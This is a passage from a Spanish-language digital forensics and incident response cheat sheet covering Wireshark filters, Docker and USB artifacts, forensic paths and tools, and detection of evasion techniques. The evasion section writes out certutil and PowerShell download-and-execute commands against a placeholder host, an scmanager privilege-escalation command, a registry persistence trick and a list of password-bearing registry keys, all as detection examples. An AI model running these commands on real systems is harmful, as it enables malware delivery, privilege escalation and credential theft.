2257 | ssl.handshake.type = TLS
2258 | ssl.handshake.type = SSL
2259 |
2260 | # Paquetes "TLS Client Hello".
2261 | tls.handshake.type == 1
2262 |
2263 | # Paquetes "TLS Server Hello".
2264 | tls.handshake.type == 2
2265 |
2266 | # Conexión cerrada.
2267 | tls.record.content_type == 21
2268 |
2269 | # Paquetes relacionados con la comunicación entre el cliente y el servidor que involucren el sitio web "badsite.com".
2270 | tls.handshake.extensions_server_name contains "badsite.com"
2271 |
2272 | # Cuando se produce el timeout, el cliente suele enviar un RST al servidor para filtrar los paquetes con el timeout del handshake.
2273 | (tcp.flags.reset eq 1) and (tcp.flags.ack eq 0)
2274 |
2275 | # Paquetes que tardan en responder a SYNACK durante el handshake del servidor.
2276 | tcp.flags eq 0x012 && tcp.time_delta gt 0.0001
2277 | ```
2278 |
2279 | Filtros GeoIP.
2280 | ```
2281 | # Excluir el tráfico procedente de Estados Unidos.
2282 | ip and not ip.geoip.country == "United States"
2283 |
2284 | # Ciudad de destino [IPv4].
2285 | ip.geoip.dst_city == "Dublin"
2286 |
2287 | # Ciudad de origen o destino [IPv4].
2288 | ip.geoip.city == "Dublin"
2289 | ip.geoip.dst_country == "Ireland"
2290 | ip.geoip.dst_country_iso == "IE"
2291 |
2292 | # Todos los países de destino excepto Estados Unidos.
2293 | !ip.geoip.country == "United States"
2294 | not ip.geoip.country == "United States"
2295 | ```
2296 |
2297 | Establecer un filtro para los valores HEX de 0x22 0x34 0x46 en cualquier offset.
2298 | ```
2299 | udp contains 22:34:46
2300 | ```
2301 |
2302 | Filtrar por flags TCP. Mostrar sólo los paquetes con la bandera SYN activada. Puede sustituir SYN por cualquier otro indicador TCP, como ACK, RST, FIN, URG o PSH.
2303 | ```
2304 | tcp.flags.syn == 1
2305 | ```
2306 |
2307 | Mostrar todos los flags SYN+ACK TCP.
2308 | ```
2309 | tcp.flags.syn == 1 && tcp.flags.ack == 1
2310 | ```
2311 |
2312 | Mostrar todos los flags RST TCP.
2313 | ```
2314 | tcp.flags.rst == 1
2315 | ```
2316 |
2317 | Mostrar paquetes con reconocimientos duplicados en TCP.
2318 | ```
2319 | tcp.analysis.duplicate_ack
2320 | ```
2321 |
2322 | ## 📁 Contenedores
2323 |
2324 | ### 📜 Análisis Forense en contenedores Docker
2325 |
2326 | Si un contenedor malicioso modifica archivos o acciones de malware al iniciarse, es posible que se pierdan muchos artefactos de seguridad. La solución podría ser trabajar con el contenedor que se crea pero que no se inicia.
2327 |
2328 | Extraer el sistema de archivos de contenedores de Docker.
2329 |
2330 | - Referencia: https://iximiuz.com/en/posts/docker-image-to-filesystem
2331 |
2332 | Ejemplo con una imagen oficial de nginx.
2333 |
2334 | Opción 1: **`docker export`**
2335 | ```bash
2336 | docker pull nginx
2337 | CONT_ID=$(docker run -d nginx)
2338 | docker export ${CONT_ID} -o nginx.tar.gz
2339 |
2340 | mkdir rootfs
2341 | tar -xf nginx.tar.gz -C rootfs
2342 | ls -lathF rootfs
2343 | ```
2344 |
2345 | Opción 2: **`docker build`**
2346 | ```bash
2347 | echo 'FROM nginx' > Dockerfile
2348 | DOCKER_BUILDKIT=1 docker build -o rootfs .
2349 | ls -lathF rootfs
2350 | ```
2351 |
2352 | Opción 3: **`crt (containerd CLI)`**
2353 |
2354 | Montar imágenes de contenedores como carpetas locales del host.
2355 | ```bash
2356 | ctr image pull docker.io/library/nginx:latest
2357 | mkdir rootfs
2358 | ctr image mount docker.io/library/nginx:latest rootfs
2359 | ls -lathF rootfs
2360 | ```
2361 |
2362 | ## 📁 Android & iOS
2363 |
2364 | ### 📜 Forense Android: Evidencias de imágenes eliminadas y enviadas por WhatsApp
2365 |
2366 | Un usuario envió imágenes a través de Whatsapp, después las eliminó de su dispositivo móvil, pero estas imágenes todavía están en la carpeta "sent" de WhatsApp.
2367 |
2368 | ```
2369 | "Internal storage/Android/media/com.whatsapp/WhatsApp/Media/WhatsApp Images/Sent"
2370 | ```
2371 |
2372 | ## 📁 Varios
2373 |
2374 | ### 📜 Artefactos en dispositivos USB en Windows, Linux y MacOS
2375 |
2376 | `Windows`
2377 |
2378 | Ramas del registro USB a analizar:
2379 | ```
2380 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB
2381 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
2382 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Portable Devices\Devices
2383 | HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices
2384 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses
2385 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM
2386 | HKEY_USERS\SID\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
2387 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
2388 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Portable Devices
2389 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Search\VolumeInfoCache
2390 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\EMDMgmt
2391 | ```
2392 |
2393 | Otros artefactos USB a analizar:
2394 | ```
2395 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-DriverFrameworks-UserMode%4Operational.evtx (Windows 7)
2396 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-ClassPnP/Operational.evtx
2397 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-WPD-MTPClassDriver/Operational.evtx
2398 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx
2399 | C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx
2400 | C:\Windows\INF\setupapi.dev.log
2401 | C:\Windows\INF\setupapi.dev.yyyymmdd_hhmmss.log
2402 | C:\Windows\setupapi.log
2403 | C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\
2404 |
2405 | Carpeta "Windows.old"
2406 | Volume Shadow Copies
2407 | ```
2408 |
2409 | **Event ID 6416**: El Sistema reconoció un nuevo dispositivo externo.
2410 | - https://learn.microsoft.com/es-es/windows/security/threat-protection/auditing/event-6416
2411 |
2412 | Otros eventos:
2413 | ```
2414 | 10000: Primera conexión dispositivo USB.
2415 | 20001: Instalación o actualización de UserPNP.
2416 | 24576: Instalación correcta de controladores WPD (Windows Portable Devices).
2417 | ```
2418 |
2419 | **Logman**: Capturar el seguimiento de eventos de USBs.
2420 | - https://learn.microsoft.com/es-es/windows-hardware/drivers/usbcon/how-to-capture-a-usb-event-trace
2421 |
2422 | `Linux`
2423 |
2424 | Distribuciones basadas en Debian.
2425 | ```
2426 | /var/log/syslog
2427 | ```
2428 |
2429 | Distribuciones basadas en Red Hat.
2430 |
2431 | Habilitar un registro detallado USB configurando "EnableLogging=1" en el fichero "/etc/usb_modeswitch.conf".
2432 | ```
2433 | /var/log/messages
2434 |
2435 | /var/log/usb_modeswitch_
2436 | ```
2437 |
2438 | `Mac OSX`
2439 | ```
2440 | /private/var/log/kernel.log
2441 | /private/var/log/kernel.log.incrementalnumber.bz2
2442 | /private/var/log/system.log
2443 | /private/var/log/system.log.incrementalnumber.gz
2444 | ```
2445 |
2446 | `Herramientas de terceros`
2447 | - USBDeview: https://www.nirsoft.net/utils/usb_devices_view.html
2448 | - USB Forensic Tracker (USBFT) Windows, Linux y MacOS: https://www.orionforensics.com/forensics-tools/usb-forensic-tracker
2449 |
2450 | ### 📜 Recopilación de artefactos de paths en Windows, Linux y MacOS
2451 |
2452 | `WINDOWS`
2453 |
2454 | System Root (C:\Windows):
2455 | ```
2456 | %SYSTEMROOT%\Tasks\*
2457 | %SYSTEMROOT%\Prefetch\*
2458 | %SYSTEMROOT%\System32\sru\*
2459 | %SYSTEMROOT%\System32\winevt\Logs\*
2460 | %SYSTEMROOT%\System32\Tasks\*
2461 | %SYSTEMROOT%\System32\Logfiles\W3SVC1\*
2462 | %SYSTEMROOT%\Appcompat\Programs\*
2463 | %SYSTEMROOT%\SchedLgU.txt
2464 | %SYSTEMROOT%\inf\setupapi.dev.log
2465 | %SYSTEMROOT%\System32\drivers\etc\hosts
2466 | %SYSTEMROOT%\System32\config\SAM
2467 | %SYSTEMROOT%\System32\config\SOFTWARE
2468 | %SYSTEMROOT%\System32\config\SECURITY
2469 | %SYSTEMROOT%\System32\config\SOFTWARE
2470 | %SYSTEMROOT%\System32\config\SAM.LOG1
2471 | %SYSTEMROOT%\System32\config\SOFTWARE.LOG1
2472 | %SYSTEMROOT%\System32\config\SECURITY.LOG1
2473 | %SYSTEMROOT%\System32\config\SOFTWARE.LOG1
2474 | %SYSTEMROOT%\System32\config\SAM.LOG2
2475 | %SYSTEMROOT%\System32\config\SOFTWARE.LOG2
2476 | %SYSTEMROOT%\System32\config\SECURITY.LOG2
2477 | %SYSTEMROOT%\System32\config\SOFTWARE.LOG2
2478 | ```
2479 |
2480 | Program Data (C:\ProgramData):
2481 | ```
2482 | %PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*
2483 | ```
2484 |
2485 | Drive Root (C:\\)
2486 | ```
2487 | %SYSTEMDRIVE%\$Recycle.Bin\*\$I*
2488 | %SYSTEMDRIVE%\$Recycle.Bin\$I*
2489 | %SYSTEMDRIVE%\$LogFile
2490 | %SYSTEMDRIVE%\$MFT
2491 | ```
2492 |
2493 | Perfiles usuarios (C:\Users\\*):
2494 | ```
2495 | %USERPROFILE%\NTUser.DAT
2496 | %USERPROFILE%\NTUser.DAT.LOG1
2497 | %USERPROFILE%\NTUser.DAT.LOG2
2498 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\*
2499 | %USERPROFILE%\AppData\Local\Microsoft\Windows\PowerShell\*
2500 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
2501 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Visual Studio Code Host_history.txt
2502 | %USERPROFILE%\AppData\Local\Microsoft\Windows\PowerShell\ScheduledJobs\*
2503 | %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\*
2504 | %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\*
2505 | %USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer\*
2506 | %USERPROFILE%\AppData\Local\Microsoft\Windows\UsrClass.dat
2507 | %USERPROFILE%\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1
2508 | %USERPROFILE%\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2
2509 | %USERPROFILE%\AppData\Local\ConnectedDevicesPlatform\*
2510 | %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History\*
2511 | %USERPROFILE%\AppData\Local\Microsoft\Edge\User Data\Default\History\*
2512 | %USERPROFILE%\AppData\Local\Temp
2513 | ```
2514 |
2515 | `LINUX`
2516 |
2517 | Paths sistema:
2518 | ```
2519 | /etc/hosts.allow
2520 | /etc/hosts.deny
2521 | /etc/hosts
2522 | /etc/passwd
2523 | /etc/group
2524 | /etc/crontab
2525 | /etc/cron.allow
2526 | /etc/cron.deny
2527 | /etc/anacrontab
2528 | /etc/apt/sources.list
2529 | /etc/apt/trusted.gpg
2530 | /etc/apt/trustdb.gpg
2531 | /etc/resolv.conf
2532 | /etc/fstab
2533 | /etc/issues
2534 | /etc/issues.net
2535 | /etc/insserv.conf
2536 | /etc/localtime
2537 | /etc/timezone
2538 | /etc/pam.conf
2539 | /etc/rsyslog.conf
2540 | /etc/xinetd.conf
2541 | /etc/netgroup
2542 | /etc/nsswitch.conf
2543 | /etc/ntp.conf
2544 | /etc/yum.conf
2545 | /etc/chrony.conf
2546 | /etc/chrony
2547 | /etc/sudoers
2548 | /etc/logrotate.conf
2549 | /etc/environment
2550 | /etc/hostname
2551 | /etc/host.conf
2552 | /etc/fstab
2553 | /etc/machine-id
2554 | /etc/screen-rc
2555 | /etc/rc.d/*
2556 | /etc/cron.daily/*
2557 | /etc/cron.hourly/*
2558 | /etc/cron.weekly/*
2559 | /etc/cron.monthly/*
2560 | /etc/modprobe.d/*
2561 | /etc/modprobe-load.d/*
2562 | /etc/*-release
2563 | /etc/pam.d/*
2564 | /etc/rsyslog.d/*
2565 | /etc/yum.repos.d/*
2566 | /etc/init.d/*
2567 | /etc/systemd.d/*
2568 | /etc/default/*
2569 | /var/log/*
2570 | /var/spool/at/*
2571 | /var/spool/cron/*
2572 | /var/spool/anacron/cron.daily
2573 | /var/spool/anacron/cron.hourly
2574 | /var/spool/anacron/cron.weekly
2575 | /var/spool/anacron/cron.monthly
2576 | /boot/grub/grub.cfg
2577 | /boot/grub2/grub.cfg
2578 | /sys/firmware/acpi/tables/DSDT
2579 | ```
2580 |
2581 | Paths usuarios:
2582 | ```
2583 | /root/.*history
2584 | /root/.*rc
2585 | /root/.*_logout
2586 | /root/.ssh/config
2587 | /root/.ssh/known_hosts
2588 | /root/.ssh/authorized_keys
2589 | /root/.selected_editor
2590 | /root/.viminfo
2591 | /root/.lesshist
2592 | /root/.profile
2593 | /root/.selected_editor
2594 | /home/*/.*history
2595 | /home/*/.ssh/known_hosts
2596 | /home/*/.ssh/config
2597 | /home/*/.ssh/autorized_keys
2598 | /home/*/.viminfo
2599 | /home/*/.profile
2600 | /home/*/.*rc
2601 | /home/*/.*_logout
2602 | /home/*/.selected_editor
2603 | /home/*/.wget-hsts
2604 | /home/*/.gitconfig
2605 | /home/*/.mozilla/firefox/*.default*/*/*.sqlite*
2606 | /home/*/.mozilla/firefox/*.default*/*/*.json
2607 | /home/*/.mozilla/firefox/*.default*/*/*.txt
2608 | /home/*/.mozilla/firefox/*.default*/*/*.db*
2609 | /home/*/.config/google-chrome/Default/History*
2610 | /home/*/.config/google-chrome/Default/Cookies*
2611 | /home/*/.config/google-chrome/Default/Bookmarks*
2612 | /home/*/.config/google-chrome/Default/Extensions/*
2613 | /home/*/.config/google-chrome/Default/Last*
2614 | /home/*/.config/google-chrome/Default/Shortcuts*
2615 | /home/*/.config/google-chrome/Default/Top*
2616 | /home/*/.config/google-chrome/Default/Visited*
2617 | /home/*/.config/google-chrome/Default/Preferences*
2618 | /home/*/.config/google-chrome/Default/Login Data*
2619 | /home/*/.config/google-chrome/Default/Web Data*
2620 | ```
2621 |
2622 | `MACOS`
2623 |
2624 | Paths sistema:
2625 | ```
2626 | /etc/hosts.allow
2627 | /etc/hosts.deny
2628 | /etc/hosts
2629 | /etc/passwd
2630 | /etc/group
2631 | /etc/rc.d/*
2632 | /var/log/*
2633 | /private/etc/rc.d/*
2634 | /private/etc/hosts.allow
2635 | /private/etc/hosts.deny
2636 | /private/etc/hosts
2637 | /private/etc/passwd
2638 | /private/etc/group
2639 | /private/var/log/*
2640 | /System/Library/StartupItems/*
2641 | /System/Library/LaunchAgents/*
2642 | /System/Library/LaunchDaemons/*
2643 | /Library/StartupItems/*
2644 | /Library/LaunchAgents/*
2645 | /Library/LaunchDaemons/*
2646 | /.fseventsd/*
2647 | ```
2648 |
2649 | Paths librerías:
2650 | ```
2651 | */Library/*Support/Google/Chrome/Default/*
2652 | */Library/*Support/Google/Chrome/Default/History*
2653 | */Library/*Support/Google/Chrome/Default/Cookies*
2654 | */Library/*Support/Google/Chrome/Default/Bookmarks*
2655 | */Library/*Support/Google/Chrome/Default/Extensions/*
2656 | */Library/*Support/Google/Chrome/Default/Extensions/Last*
2657 | */Library/*Support/Google/Chrome/Default/Extensions/Shortcuts*
2658 | */Library/*Support/Google/Chrome/Default/Extensions/Top*
2659 | */Library/*Support/Google/Chrome/Default/Extensions/Visited*
2660 | ```
2661 |
2662 | Paths usuarios:
2663 | ```
2664 | /root/.*history
2665 | /Users/*/.*history
2666 | ```
2667 |
2668 | Otros paths:
2669 | ```
2670 | */places.sqlite*
2671 | */downloads.sqlite*
2672 | ```
2673 |
2674 | ## 📁 Herramientas
2675 |
2676 | ### 📜 Autopsy: Herramienta avanzada de análisis forense digital
2677 |
2678 | Es una interfaz gráfica de usuario para Sleuth Kit que facilita la realización de análisis forenses digitales. Proporciona características avanzadas para análisis de imágenes forenses, análisis de metadatos, búsqueda avanzadas, análisis de memoria volátil, generación de informes detallados, integración con otras herramientas forenses.
2679 |
2680 | - https://www.autopsy.com
2681 |
2682 | ### 📜 X-Ways Forensics: Herramienta avanzada de análisis forense digital
2683 |
2684 | Es una herramienta forense que ofrece análisis detallados, adquisición, examen y presentación de evidencia digital en investigaciones forenses. Otra alternativa similar a Autopsy.
2685 |
2686 | - https://www.x-ways.net/forensics
2687 |
2688 | ### 📜 Volatility: Análisis de volcados de memoria
2689 |
2690 | Es una herramienta de análisis forense de memoria volátil (RAM) que puede utilizarse para analizar volcados de memoria y buscar indicadores de actividad maliciosa o manipulación de archivos en la memoria del sistema.
2691 |
2692 | - https://volatilityfoundation.org
2693 |
2694 | ### 📜 WinTriage (Securizame): Análisis y extracción de artefactos forenses Windows
2695 |
2696 | Realiza extracciones de diferentes artefactos forenses de usuario, sistema y sistema de ficheros de un ordenador, tanto en caliente como a partir de una imagen forense, para que posteriormente puedan ser analizados e interpretados en una investigación por parte de un profesional analista de DFIR.
2697 |
2698 | - https://www.securizame.com/wintriage
2699 |
2700 | ### 📜 Velociraptor: Recolección, monitorización y hunting para análisis forense digital y respuesta a incidentes en Windows
2701 |
2702 | Se utiliza para recopilar información sobre sistemas Windows en tiempo real, permite obtener una visión detallada del estado de un sistema y de las actividades que se están llevando a cabo en él a través de consultas Velociraptor Query Language (VQL) donde brindan acceso a las API de Windows. La monitorización en tiempo real incluye información del sistema, actividad del usuario, registros de eventos, procesos en ejecución, archivos abiertos, conexiones de red, se puede definir y personalizar los artefactos, entre otras características.
2703 |
2704 | - https://github.com/Velocidex/velociraptor
2705 | - https://docs.velociraptor.app
2706 |
2707 | ### 📜 LogonTracer: Trazabilidad de inicios de sesión en Active Directory
2708 |
2709 | Herramienta para investigar inicios de sesión maliciosos mediante la visualización y el análisis de los registros de eventos de Windows Active Directory. Asocia un nombre de host (o una dirección IP) y un nombre de cuenta encontrados en eventos relacionados con el inicio de sesión y lo muestra como un gráfico. De esta forma, es posible ver en qué cuenta se produce el intento de inicio de sesión y qué host se utiliza.
2710 |
2711 | - https://github.com/JPCERTCC/LogonTracer
2712 |
2713 | ### 📜 AuthLogParser: Análisis auth.log, resumen de registros relacionados con autenticación
2714 |
2715 | Análisis de registros de autenticación de Linux (auth.log). AuthLogParser escanea el archivo de registro auth.log y extrae información clave, como inicios de sesión SSH, creaciones de usuarios, nombres de eventos, direcciones IP y más. Proporciona una descripción general clara y concisa de las actividades registradas en los registros de autenticación.
2716 |
2717 | - https://github.com/YosfanEilay/AuthLogParser
2718 |
2719 | ### 📜 Skadi: Análisis de artefactos e imágenes forenses
2720 |
2721 | Pack de herramientas que permite la recopilación, el procesamiento y el análisis avanzado de artefactos e imágenes forenses. Funciona en máquinas MacOS, Windows y Linux.
2722 |
2723 | - https://github.com/orlikoski/Skadi
2724 |
2725 | ### 📜 GRR - Google Rapid Response
2726 |
2727 | Es un framework de respuesta a incidentes centrado en análisis forense remoto en vivo. GRR es un cliente (agente) de Python que se instala en los sistemas de destino y una infraestructura de servidor de Python que puede administrar y comunicarse con los clientes. https://grr-doc.readthedocs.io/en/latest
2728 |
2729 | - https://github.com/google/grr
2730 |
2731 | ### 📜 Arkime - Almacenar e indexar el tráfico de red en formato PCAP
2732 |
2733 | Almacenar e indexar el tráfico de red en formato PCAP estándar, proporcionando un acceso indexado rápido. Se proporciona una interfaz web intuitiva y sencilla para explorar, buscar y exportar PCAP.
2734 |
2735 | - https://github.com/arkime/arkime
2736 |
2737 | ### 📜 Live Forensicator - Recolección automatizada de información y artefactos en Windows, Linux y MacOS
2738 |
2739 | Recopila información diferente del sistema (Windows, Linux y MacOS) para su posterior revisión en busca de comportamientos anómalos o entrada de datos inesperada, también busca archivos o actividades inusuales.
2740 |
2741 | - https://github.com/Johnng007/Live-Forensicator
2742 |
2743 | ### 📜 FTK Forensic Toolkit (Exterro)
2744 | FTK (Forensic Toolkit) de Exterro permite recopilar, procesar y analizar datos en investigaciones forenses. Facilita la identificación y preservación de evidencia digital para soportar investigaciones y litigios.
2745 |
2746 | - https://www.exterro.com/digital-forensics-software/forensic-toolkit
2747 |
2748 | ### 📜 EnCase Forensic (ondata)
2749 |
2750 | *EnCase Endpoint Investigator de ondata*: busca, recolecta, preserva y analiza gran cantidad de datos y genera informes detallados sobre estos hallazgos; todo de forma centralizada, con interrupciones mínimas y sin importar el tamaño ni la complejidad del entorno de red.
2751 |
2752 | *EnCase Forensics de ondata*: recolecta, preserva y examina evidencia de dispositivos electrónicos, apoyando investigaciones criminales y legales con capacidades avanzadas de análisis y generación de informes detallados.
2753 |
2754 | - https://www.ondata.es/recuperar/forensics-guidance.htm
2755 |
2756 | ### 📜 SANS DFIR - Posters & Cheat Sheets
2757 |
2758 | - https://www.sans.org/posters/?focus-area=digital-forensics
2759 |
2760 | ---
2761 |
2762 | # 📓 Detección de técnicas de evasión en sistemas SIEM, SOC y Anti-Forense
2763 |
2764 | ## 📁 Windows
2765 |
2766 | ### 📜 Comando Windows: "net" y "net1"
2767 |
2768 | El comando "net1" funcionará igual que el comando "net".
2769 | ```cmd
2770 | net1 accounts
2771 | net accounts
2772 | ```
2773 |
2774 | ### 📜 Detectar técnicas maliciosas realizadas a través de CertUtil (LOLBin)
2775 |
2776 | El comando "certutil.exe" puede ser utilizado por un actor malicioso para realizar diversas acciones maliciosas. Es una buena postura de seguridad configurar reglas preventivas y alertas para detectar estas técnicas.
2777 |
2778 | Ofuscación: Codifica y descodifica ficheros a través de certutil, evitando así la detección por motores antimalware en un primer análisis estático del fichero.
2779 | ```cmd
2780 | certutil -encode .\malware.exe bypass.txt
2781 | certutil -decode .\bypass.txt malware.exe
2782 | ```
2783 |
2784 | Descarga de ficheros desde una dirección URL a local a través de certutil.
2785 | ```cmd
2786 | certutil -urlcache -split -f https://domain.com/shell.exe shell.exe
2787 | ```
2788 |
2789 | Descarga de una dll maliciosa ofuscada previamente en un formato txt, decodifica y convierte la dll maliciosa a un formato de librería dll, con regsvr32 registra en modo silencioso la librería dll en el sistema.
2790 | ```cmd
2791 | certutil -urlcache -split -f https://domain.com/evildll.txt evildll.txt
2792 | certutil -decode .\evildll.txt evildll.dll
2793 | regsvr32 /s /u .\evildll.dll
2794 | ```
2795 |
2796 | ### 📜 Detectar descargas de ficheros realizadas a través de PowerShell usando "Invoke-WebRequest, Invoke-RestMethod, BitsTransfer"
2797 |
2798 | Existen multitud de técnicas para la descarga y ejecución de ficheros a través de PowerShell, estas técnicas son comunes por los actores maliciosos para poder transferirse malware a una máquina previamente comprometida o con acceso limitado o través de máquinas de salto para ejecutar después técnicas de post-explotación o movimiento lateral. Es interesante conocer las técnicas más comunes y añadir reglas de detección.
2799 |
2800 | Invoke-WebRequest (IWR) e Invoke-Expression (IEX)
2801 | ```ps
2802 | Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -OutFile "C:\temp\evilfile.exe"
2803 | Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing | Select-Object Content | IEX
2804 | Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing | IEX
2805 |
2806 | IEX (Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing).Content
2807 | IEX (Invoke-WebRequest -Uri 'https://domain.com/evilfile.exe' -UseBasicParsing)
2808 | IEX (New-Object Net.WebClient).DownloadString('https://domain.com/evilfile.exe')
2809 | ```
2810 |
2811 | Invoke-RestMethod (IRM) e Invoke-Expression (IEX)
2812 | ```ps
2813 | Invoke-RestMethod -Method Get -Uri 'https://domain.com/evilfile.exe' | IEX
2814 | IEX (Invoke-RestMethod -Method Get -Uri 'https://domain.com/evilfile.exe')
2815 | ```
2816 |
2817 | BitsTransfer synchronously
2818 | ```ps
2819 | Start-BitsTransfer 'https://domain.com/evilfile.exe' -Destination "C:\temp\evilfile.exe"
2820 | ```
2821 |
2822 | BitsTransfer asynchronously
2823 | ```ps
2824 | Start-BitsTransfer 'https://domain.com/evilfile.exe' -Destination "C:\temp\evilfile.exe" -Asynchronous
2825 | ```
2826 | "BitsTransfer asynchronously" agrega un nuevo trabajo del servicio de transferencia de bits en segundo plano, esto es persistente incluso si la sesión de PowerShell se cierra. Para ver los trabajos en cola se usa "Get-BitsTransfer" y para completar el trabajo y descargar el archivo "Complete-BitsTransfer".
2827 | ```ps
2828 | Get-BitsTransfer -Name "TestJob1" | Complete-BitsTransfer
2829 | ```
2830 |
2831 | - Más info: https://github.com/adrianlois/scripts-misc/tree/main/07.PS-IEX-WebRequest-WebClient-BitsTransfer
2832 |
2833 | ### 📜 Post-Explotación - PrivEsc con scmanager
2834 | LPE (Local Privilege Escalation) persistente y sin uso de archivos usando sc.exe otorgando permisos del SCM (Service Control Manager).
2835 |
2836 | - https://learn.microsoft.com/en-us/windows/win32/services/service-control-manager
2837 |
2838 | ```cmd
2839 | sc.exe sdset scmanager D:(A;;KA;;;WD)
2840 | [SC] SetServiceObjectSecurity SUCCESS
2841 | ```
2842 |
2843 | ### 📜 DLL Hijacking *cscapi.dll*
2844 | Windows Explorer carga automáticamente cscapi.dll que nunca se encuentra. Podría se aprovechada para ejecutar un payload.
2845 |
2846 | - https://twitter.com/D1rkMtr/status/1613568545757220864
2847 |
2848 | ```cmd
2849 | C:\Windows\cscapi.dll
2850 | ```
2851 |
2852 | ### 📜 Otras técnicas de ejecución de CMD o PowerShell
2853 |
2854 | Un actor malicioso puede crear en una nueva línea de comandos en Powershell con el comando "query", de forma que pueda generar persistencia en el sistema. Si previamente ejecuta el siguiente comando.
2855 | ```cmd
2856 | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Utilities\query" /v pwned /t REG_MULTI_SZ /d 0\01\0pwned\0powershell.exe
2857 | ```
2858 |
2859 | Al consultar la clave de registro se ejecutará una Powershell.exe.
2860 | ```cmd
2861 | query pwned
2862 | ```
2863 |
2864 | La detección puede ser complicada si se reemplaza "powershell.exe" por un ejecutable malicioso o tipo [LOLbin](https://lolbas-project.github.io/).
2865 |
2866 | ### 📜 Uso de *type* para descargar o subir ficheros
2867 |
2868 | 1. Alojar un servidor WebDAV con acceso anónimo r/w
2869 | 2. Download:
2870 | ```cmd
2871 | type \\webdav-ip\path\file.ext > C:\path\file.ext
2872 | ```
2873 | 3. Upload:
2874 | ```cmd
2875 | type C:\path\file.ext > \\webdav-ip\path\file.ext
2876 | ```
2877 |
2878 | ### 📜 Bloquear conexiones USB: Rubber Ducky y Cactus WHID
2879 |
2880 | - HID - Hardware ID
2881 | - VID - Vendor ID
2882 | - PID - Product ID
2883 |
2884 | **Rubber Ducky**.
2885 | ```
2886 | HID\VID_03EB&PID_2401&REV_0100
2887 | ```
2888 |
2889 | **Cactus WHID** (whid-injector).
2890 | ```
2891 | HID\VID_1B4F&PID_9208&REV_0100&MI_02&Col02
2892 | HID\VID_1B4F&PID_9208&MI_02&Col02
2893 | ```
2894 |
2895 | ```ps
2896 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions" -Name 'DenyDeviceIDs' -Value 1 -PropertyType DWord
2897 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions" -Name 'DenyDeviceIDsRetroactive' -Value 1 -PropertyType DWord
2898 |
2899 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceIDs" -Name 'HID\VID_03EB&PID_2401&REV_0100' -Value 1 -PropertyType String
2900 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceIDs" -Name 'HID\VID_1B4F&PID_9208&MI_02&Col02' -Value 1 -PropertyType String
2901 | New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DenyDeviceIDs" -Name 'HID\VID_1B4F&PID_9208&REV_0100&MI_02&Col02' -Value 1 -PropertyType String
2902 | ```
2903 |
2904 | ### 📜 Claves de registro de Windows donde se almacenan las contraseñas
2905 |
2906 | Claves de registro de Windows donde se almacenan las contraseñas del sistema y de herramientas de terceros más comunes, buscadas en fases de Post-Explotación.
2907 |
2908 | Las claves se ordenan de mayor a menor ocurrencia.
2909 | ```
2910 | KLM\Software\RealVNC\WinVNC4
2911 | HKCU\Software\SimonTatham\PuTTY\Sessions
2912 | HKCU\Software\ORL\WinVNC3\Password
2913 | HKLM\SYSTEM\Current\ControlSet\Services\SNMP
2914 | HKCU\Software\Polices\Microsoft\Windows\Installer
2915 | HKLM\SYSTEM\CurrentControlSet\Services\SNMP
2916 | HKCU\Software\TightVNC\Server
2917 | HKCU\Software\OpenSSH\Agent\Keys
2918 | HKLM\SYSTEM\CurrentControlSet\Control\LSA
2919 | HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
2920 | HKLM\Software\RealVNC\vncserver
2921 | HKLM\Software\RealVNC\WinVNC4\Password
2922 | HKLM\Software\RealVNC
2923 | HKCU\Software\PremiumSoft\Navicat\Servers
2924 | HKLM\SYSTEM
2925 | HKLM\SAM
2926 | HKCU\Software\PremiumSoft\NavicatMONGODB\Servers
2927 | HKCU\Software\PremiumSoft\NavicatMSSQL\Servers
2928 | HKCU\Software\PremiumSoft\NavicatPG\Servers
2929 | HKCU\Software\PremiumSoft\NavicatSQLite\Servers
